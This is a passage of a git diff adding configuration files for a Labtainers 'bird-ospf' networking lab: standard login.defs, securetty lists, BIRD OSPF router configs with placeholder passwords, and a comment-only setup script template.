number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/ir1/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/ir1/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/ir1/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/ir1/_system/usr/local/etc/bird.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/ir1/_system/usr/local/etc/bird.conf new file mode 100644 index 000000000..2f126bb04 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/ir1/_system/usr/local/etc/bird.conf @@ -0,0 +1,61 @@ +/* + * Route server configuration for 20525 + */ + +log "/var/log/bird.log" all; + + +protocol device { } + +# The direct protocol is not a real routing protocol. It automatically generates +# direct routes to all network interfaces. Can exist in as many instances as you +# wish if you want to populate multiple routing tables with direct routes. +protocol direct { + disabled; # Disable by default + ipv4; # Connect to default IPv4 table + ipv6; # ... and to default IPv6 table +} + +# The Kernel protocol is not a real routing protocol. Instead of communicating +# with other routers in the network, it performs synchronization of BIRD +# routing tables with the OS kernel. One instance per table. +protocol kernel { + ipv4 { # Connect protocol to IPv4 table by channel + table master4; # Default IPv4 table is master4 + import all; # Import to table, default is import all + export all; # Export to protocol. default is export none + }; +} + +#protocol static STATIC4 { +# ipv4 { preference 110; }; +# route 202.15.0.0/24 via "eth0"; +#} + +#### +# Protocol template + +protocol ospf { + ipv4{ + import all; + export filter { + ospf_metric1 = 1000; + if source = RTS_STATIC then accept; else reject; + }; + }; + + area 0 { + interface "eth0", "eth1", "eth2", "eth3" { + cost 5; + type pointopoint; + hello 5; retransmit 2; wait 10; dead 20; + authentication simple; password "XXXX"; + }; + interface "eth4" { + cost 5; + type broadcast; + hello 5; retransmit 2; wait 10; dead 20; + authentication simple; password "XXXX"; + }; + }; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/ir2/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/ir2/_bin/fixlocal.sh new file mode 100755 index 000000000..a9532b0e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/ir2/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/ir2/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/ir2/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/ir2/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/ir2/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/ir2/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/ir2/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/ir2/_system/usr/local/etc/bird.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/ir2/_system/usr/local/etc/bird.conf new file mode 100644 index 000000000..b36a41933 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/ir2/_system/usr/local/etc/bird.conf @@ -0,0 +1,61 @@ +/* + * Route server configuration for 20525 + */ + +log "/var/log/bird.log" all; + + +protocol device { } + +# The direct protocol is not a real routing protocol. It automatically generates +# direct routes to all network interfaces. Can exist in as many instances as you +# wish if you want to populate multiple routing tables with direct routes. +protocol direct { + disabled; # Disable by default + ipv4; # Connect to default IPv4 table + ipv6; # ... and to default IPv6 table +} + +# The Kernel protocol is not a real routing protocol. Instead of communicating +# with other routers in the network, it performs synchronization of BIRD +# routing tables with the OS kernel. One instance per table. +protocol kernel { + ipv4 { # Connect protocol to IPv4 table by channel + table master4; # Default IPv4 table is master4 + import all; # Import to table, default is import all + export all; # Export to protocol. default is export none + }; +} + +#protocol static STATIC4 { +# ipv4 { preference 110; }; +# route 202.15.0.0/24 via "eth0"; +#} + +#### +# Protocol template + +protocol ospf { + ipv4{ + import all; + export filter { + ospf_metric1 = 1000; + if source = RTS_STATIC then accept; else reject; + }; + }; + + area 0 { + interface "eth0", "eth2" { + cost 5; + type pointopoint; + hello 5; retransmit 2; wait 10; dead 20; + authentication simple; password "XXXX"; + }; + interface "eth1" { + cost 5; + type broadcast; + hello 5; retransmit 2; wait 10; dead 20; + authentication simple; password "XXXX"; + }; + }; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/ir3/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/ir3/_bin/fixlocal.sh new file mode 100755 index 000000000..a9532b0e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/ir3/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/ir3/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/ir3/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/ir3/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/ir3/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/ir3/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/ir3/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/ir3/_system/usr/local/etc/bird.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/ir3/_system/usr/local/etc/bird.conf new file mode 100644 index 000000000..36f449ba2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/ir3/_system/usr/local/etc/bird.conf @@ -0,0 +1,61 @@ +/* + * Route server configuration for 20525 + */ + +log 